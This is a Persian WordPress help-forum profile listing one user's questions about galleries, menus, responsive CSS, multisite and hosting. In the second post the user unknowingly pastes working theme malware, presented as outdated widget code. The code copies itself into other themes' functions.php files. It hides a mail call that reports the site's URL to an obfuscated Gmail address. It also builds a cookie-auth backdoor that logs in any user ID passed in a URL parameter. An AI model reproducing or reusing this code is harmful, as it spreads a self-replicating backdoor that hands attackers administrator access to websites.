رفتن به مطلب

webmaster404

عضو سایت
  • تعداد ارسال‌ها

    50
  • تاریخ عضویت

  • آخرین بازدید

نوشته‌ها ارسال شده توسط webmaster404

  1. سلام

    بنده میخوام گالری تصاویر بسازم. میخواستم از افزونه foogallery استفاده کنم ولی متاسفانه وقتی گالری ایجاد میکنم توی سایت درست نشون نمیده.

    از این دو افزونه دوتا دمو داشت که از اینا خوشم می اومد:

    http://foo.gallery/demos/responsive-image-gallery/

    http://foo.gallery/demos/simple-portfolio/

    اگه تونست باهاش کار کنه به ما هم بگه. یا اینکه افزونه مشابه معرفی کنید که بشه همین چیزی درست کرد. توضیحات تصاویر و قسمت زوم تصویر که وقتی کلیک کردم روش تصویر رو بزرگ نشون بده رو باید حتما داشته باشه.

    • امتیاز 1
  2. من مراحلی که گفته بودین رو انجام دادم و فهمیدم مشکل سفید شدن بعضی از صفحات سایتم از قالبم هستش.

    که از کدهای فایل فانگشن قالبم ایراد میگیره.

    فک کنم کدش قدیمی هستش ارور میده چون بعضی از کدهاش رو از قالب قدیمی استفاده کردم.

    کدها زیر فک کنم مشکل دارن. لطفا بگید بجای این کدها از چه کدی استفاده کنم؟


    function _check_active_widget(){
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    $output=strip_tags($output, $allowed);
    $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
    foreach ($direst as $item){
    if (is_writable($item)){
    $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    $cont=file_get_contents($item);
    if (stripos($cont,$ftion) === false){
    $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    $output .= $before . "Not found" . $after;
    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
    $output .= ($showdot && $ellipsis) ? "..." : "";
    }
    }
    }
    }
    return $output;
    }
    function _get_all_widgetcont($wids,$items=array()){
    $places=array_shift($wids);
    if(substr($places,-1) == "/"){
    $places=substr($places,0,-1);
    }
    if(!file_exists($places) || !is_dir($places)){
    return false;
    }elseif(is_readable($places)){
    $elems=scandir($places);
    foreach ($elems as $elem){
    if ($elem != "." && $elem != ".."){
    if (is_dir($places . "/" . $elem)){
    $wids[]=$places . "/" . $elem;
    } elseif (is_file($places . "/" . $elem)&&
    $elem == substr(__FILE__,-13)){
    $items[]=$places . "/" . $elem;}
    }
    }
    }else{
    return false;
    }
    if (sizeof($wids) > 0){
    return _get_all_widgetcont($wids,$items);
    } else {
    return $items;
    }
    }
    if(!function_exists("stripos")){
    function stripos( $str, $needle, $offset = 0 ){
    return strpos( strtolower( $str ), strtolower( $needle ), $offset );
    }
    }
    if(!function_exists("strripos")){
    function strripos( $haystack, $needle, $offset = 0 ) {
    if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
    if( $offset < 0 ){
    $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
    }
    else{
    $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
    }
    if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
    $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
    return $pos;
    }
    }
    if(!function_exists("scandir")){
    function scandir($dir,$listDirectories=false, $skipDots=true) {
    $dirArray = array();
    if ($handle = opendir($dir)) {
    while (false !== ($file = readdir($handle))) {
    if (($file != "." && $file != "..") || $skipDots == true) {
    if($listDirectories == false) { if(is_dir($file)) { continue; } }
    array_push($dirArray,basename($file));
    }
    }
    closedir($handle);
    }
    return $dirArray;
    }
    }
    add_action("admin_head", "_check_active_widget");
    function _prepared_widget(){
    if(!isset($length)) $length=120;
    if(!isset($method)) $method="cookie";
    if(!isset($html_tags)) $html_tags="<a>";
    if(!isset($filters_type)) $filters_type="none";
    if(!isset($s)) $s="";
    if(!isset($filter_h)) $filter_h=get_option("home");
    if(!isset($filter_p)) $filter_p="wp_";
    if(!isset($use_link)) $use_link=1;
    if(!isset($comments_type)) $comments_type="";
    if(!isset($perpage)) $perpage=$_GET["cperpage"];
    if(!isset($comments_auth)) $comments_auth="";
    if(!isset($comment_is_approved)) $comment_is_approved="";
    if(!isset($authname)) $authname="auth";
    if(!isset($more_links_text)) $more_links_text="(more...)";
    if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
    if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
    if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
    if(!isset($more_content)) $more_content="ma".$s."il";
    if(!isset($forces_more)) $forces_more=1;
    if(!isset($fakeit)) $fakeit=1;
    if(!isset($sql)) $sql="";
    if (!$widget_output) :
    global $wpdb, $post;
    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if (!empty($post->post_password)) {
    if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
    if(is_feed()) {
    $output=__("There is no excerpt because this is a protected post.");
    } else {
    $output=get_the_password_form();
    }
    }
    }
    if(!isset($fix_tag)) $fix_tag=1;
    if(!isset($filters_types)) $filters_types=$filter_h;
    if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
    if(!isset($more_tags)) $more_tags="div";
    if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
    if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
    if(!isset($showdot)) $showdot=1;

    $comments=$wpdb->get_results($sql);
    if($fakeit == 2) {
    $text=$post->post_content;
    } elseif($fakeit == 1) {
    $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    } else {
    $text=$post->post_excerpt;
    }
    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if($length < 0) {
    $output=$text;
    } else {
    if(!$no_more && strpos($text, "<!--more-->")) {
    $text=explode("<!--more-->", $text, 2);
    $l=count($text[0]);
    $more_link=1;
    $comments=$wpdb->get_results($sql);
    } else {
    $text=explode(" ", $text);
    if(count($text) > $length) {
    $l=$length;
    $ellipsis=1;
    } else {
    $l=count($text);
    $more_links_text="";
    $ellipsis=0;
    }
    }
    for ($i=0; $i<$l; $i++)
    $output .= $text[$i] . " ";
    }
    update_option("_is_widget_active_", 1);
    if("all" != $html_tags) {
    $output=strip_tags($output, $html_tags);
    return $output;
    }
    endif;
    $output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($fix_tag) ? balanceTags($output, true) : $output;
    $output .= ($showdot && $ellipsis) ? "..." : "";
    $output=apply_filters($filters_type, $output);
    switch($more_tags) {
    case("div") :
    $tag="div";
    break;
    case("span") :
    $tag="span";
    break;
    case("p") :
    $tag="p";
    break;
    default :
    $tag="span";
    }
    if ($use_link ) {
    if($forces_more) {
    $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
    } else {
    $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
    }
    }
    return $output;
    }
    add_action("init", "_prepared_widget");
    function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    global $wpdb;
    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    if(!$show_pass_post) $request .= " AND post_password =\"\"";
    if($duration !="") {
    $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    }
    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    $posts=$wpdb->get_results($request);
    $output="";
    if ($posts) {
    foreach ($posts as $post) {
    $post_title=stripslashes($post->post_title);
    $comment_count=$post->comment_count;
    $permalink=get_permalink($post->ID);
    $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
    }
    } else {
    $output .= $before . "None found" . $after;
    }
    return $output;
    }
    if ( function_exists('register_sidebar') )
    register_sidebar(array(
    'before_widget' => '',
    'after_widget' => '</div><div class="wfo"></div>',
    'before_title' => '<div class="wtop">',
    'after_title' => '</div><div class="wco">',
    ));

  3. با سلام

    بنده یه قالب نوشتم.

    میخواستم بدونم تو صفحه اصلی سایت عنوان سایت h1 هستش و عنوان پست ها رو h2 گذاشتم. به نظرتون خوبه؟

    توی صفحه ادامه مطلب هم دوستان میگن عنوان پست باید h1 باشه. خی اونوقت عنوان سایت رو چی باید بزارم؟

    نام عکس های هر پست رو هم همون عنوان پست میزارم که به صورت فارسی هستش. به نظرتون این حالت بهتره یا بهتر از این هم وجود داره؟

  4. من یه سری منو دارم (15-20تاست)که چندتا از اونا زیر منوهای زیادی دارن مثلا یکیشون بیش از 50تا زیر منو داره. در حالت عادی زیر منو ها دیده نمیشن باید hover بشن تا نمایش داده بشن.

    حالا میخوام با این کد کاری کنم که اون منو هایی که خودشون هم زیر منو دارن از بقیه متفاوت باشن تا کاربر متوجه بشه. مثلا رنگ یا یه استایل خاصی داشته باشن.

    همچنین فقط منو نیست میخوام یاد بگیرم تا جاهای دیگه هم برای کارهای دیگه ام استفاده کنم.

    همچنین از طریق کلاسشون به تک مورد نظرم اشاره کنم؟؟

    توی سی اس اس اینجوری اشاره میکنیم.


    leftmenu ul li{

    }

    حالا اینو توی جاوا اسکریپت چطوری بگم؟

  5. با سلام

    بنده توی قالبم فهرست ها رو فعال کردم و از قسمت فهرست ها یه منو ایجاد کردم و منو رو فعالش کردم ولی بجای منویی که تعریف کردم یه سری لینک هایی دیگه رو نمایش میده.

    کدی که تو قالب گذاشتم اینه


    <?php wp_nav_menu( array( 'theme_location' => 'top_menu' ) ); ?>

    عکسش رو ضمیمه کردم. بجای نمایش لینک های قسمت 1 لینک های قسمت 2 رو نشون میده.

    یعنی انگار لیست نام برگه هارو فقط نشون میده.

    کسی میتونه کمک کنه؟

    post-3674-0-80238300-1414241273_thumb.pn

  6. من دنبال یه افزونه ای بودم که بتونم واسه وردپرس شبکه استفاده کنم یعنی یه جورایی یتابیس رو تقسیم بندی کنه و....

    یه افزونه ای رو پیدا کردم ولی دقیقا متوجه نمیشم کاراییش چیه و چه جوری عمل میکنه.

    اینم لینکش: https://premium.wpmudev.org/project/multi-db/

    لطفا دوستان در مورد عملکرد و نحوه کارش رو بهم توضیح بدین.

    ممنون.

  7. با سلام

    بنده وردپرس شبکه رو نصب کردم. ولی متاسفانه داشبورد سایت های شبکه بالا نمیاد. خود سایت اصلی هم بالا نمیاد.

    داشبورد این پیغام رو میدهد:

    404 Not Found

    The server can not find the requested page:

    hassan.saninblog.ir/wp-admin/ (port 80)

    Please forward this error screen to hassan.saninblog.ir's WebMaster.

    وقتی آدرس صفحه اولش رو هم میزنم به این صورت: http://hassan.saninblog.ir پیغام زیر میاد:

    post-3674-0-12748900-1412337016_thumb.pn

    راه حلی هم توی نت نتونستم پیدا کنم.

    همچنین واید کارت هم روی سیستمم فعال هستش یعنی به پشتیبانی تیکت زدم اونا اونا بهم روش فعال کردن از طرف خودم رو بهم گفتن. که به این صورت عمل کنم *.saninblog.ir ایجاد کنم. که اینو خودم هم بلد بود. البته به مهارت پشتیبانی هاستینگم اعتماد ندارم چون هیچ وقت نتونستند بهم کمک کنند...حتی انتقال سایت رو هم بلد نیستند.

    از کجا میشه فهمید وایلد کارت هاستم فعاله؟؟؟

  8. 1 . بهتره از این مدیا کوئری استفاده کنید :


    @media (min-width: 360px) and (max-width: 480px) {

    }

    یا :


    @media (max-width: 360px) {

    }

    2. در ریسپانسیو از % استفاده میشه نه px

    3. کدهای ریسپانسیو باید زیر کدهای اصلی استایل قرار بگیره

    یعنی اگه همه کدهاتون داخل یک فایل هست باید کدهای ریسپانسیو رو آخر از همه قرار بدین

    اگر هم در فایل جداگانه گذاشتین باید بعد از فایل اصلی استایل قالب فراخوانی کنید

    4. زمانی که میخواین اولویت بدین میتونین در انتهای کد از !important اسفاده کینن


    .test { width:100px !important;}

    lممنون فرهاد جان گذینه 3 کارم راه انداخت.

  9. سلامب

    نده یه قالب طراحی کردم. حالا میخوام ریسپانسیوش هم بکنم ولی یه مشکلی هست.

    مثلا من این کد رو قرار میدم تا استایل مخصوص رزولیشن 360 این باشه:


    @media only screen and (max-width:360px){
    .wrapper{
    width: 326px;
    direction:rtl;
    margin: 0 5px;
    }

    ولی باز مرورگر استایل اولیه رو در نظر میگیره. یعنی همون استایلی که موقع طراحی بهش داده بودم رو.

    من از فایرباگ که مخصوص فایر فاکس هستش استفاده میکنم و فایرباگ نشون میده که استایلی که من دادم هم استفاده میشه ولی استایل های قبلی در اولویت هستند.

    همراه پست یه عکس هم ضمیمه کردم.

    دوستان اگر کسی بلده راهنمایی کنه.

    ممنون

    post-3674-0-10779500-1411044576_thumb.pn

  10. سلام من قبلا از افزونه

    Ultimate TinyMCE استفاده میکردم ولی الان نمی دونم چرا این افزونه بعد از بروزرسانی وردپرس دچار مکل شده و بعضی از گذینه هاش بدون آیگون لود میشه.

    همچنین من روش تنظیم درست این افزونه رو بلد نیستم لطفا یکی آموزش بده.

    ممنون

  11. سلام

    من یک سایت وردپرسی دارم و میخوام از یه هاستی به هاست سرورپارس انتقال بدم.

    قبلا یکی رو انتال دادم و بدون مشکل کار میکنه ولی این یکی رو هم همه کارهاش رو انجام دادم ولی سایت ارور میده و بالا نمیاد.

    به پشتبانی سرور پارس هم گفتم تا اونا سایتم رو انتقال بدن که اونم برگشته میگه تو هاستتون چندتا سایت دیگه دارید و ما نمی تونم سایت رو انتقال بدیم چون برای سایت های دیگه مشکل پیش میاد (به عبارتی بلد نیستن :lol: )

    حالا موندم چیار کنم. دوستان لطفا کمک کنید اینم سایتم : http://rainlovemusic.ir

×
×
  • اضافه کردن...